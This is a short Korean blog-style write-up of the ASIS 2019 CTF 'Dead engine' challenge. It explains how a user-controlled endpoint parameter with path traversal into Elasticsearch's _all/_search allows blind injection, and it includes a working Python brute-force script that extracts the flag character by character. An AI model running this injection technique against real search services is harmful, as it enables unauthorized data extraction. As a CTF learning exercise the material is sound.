[ASIS CTF] Elasticsearch NoSQL Injection

간단 설명

ASIS CTF의 Dead engine이라는 문제다.
Elasticsearch에서 SQL Injection으로 플래그를 얻는 문제며 Elasticsearch 환경은
처음이라 열심히 검색하면서 풀었다. 복습 겸 간단한 풀이만 적어본다.

사용자로부터 q, endpoint 이렇게 2개의 입력을 받아서 아래와 같이 내부 검색 서비스로 요청해주는 구조였다.

q : abcd
endpoint : /articles/_search
내부 요청 : http://localhost:9300/articles/_search?q=abcd

즉, http://localhost:9300[endpoint]?q=[q] 이런식으로 내가 입력한 값이 들어가며 endpoint를 조작하면 내 마음대로 검색 옵션을 설정하거나 다른 테이블에 접근이 가능했다. Elasticsearch 관련 글을 읽다보니 _all/_search에서 검색하면 특정 테이블명을 모르더라도 모든 테이블을 대상으로 검색할 수 있다고 한다.

나는 곧바로 endpoint_all/_search로 설정한 뒤, q에서는 와일드카드로 플래그 길이를 맞춰주고 Flag Is Here, Grab it :)라는 메세지의 출력 여부에 따라 참, 거짓으로 구분해 Blind SQL Injection으로 플래그를 얻었다.

Blind SQL Injection

import requests
# ASIS 2019 : Dead engine

if __name__ == '__main__' :
    url = 'http://192.241.183.207/index.php?action'
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = 'q=fuck&endpoint=../../../../_all/_search?q={}%23'

    flag = '|'.join('?' * 32).split('|') # flag length is 32

    for x in range(32) :
        for y in 'abcdef0123456789' :
            flag[x] = y
            result = requests.post(url, data=data.format(''.join(flag)), headers=headers).text
            if 'Flag Is Here, Grab it :)' in result :
                break
            print('ASIS{' + ''.join(flag) + '}')

    print('----------------------', flush=True)
    print("flag : ASIS{" + ''.join(flag) + '}', flush=True)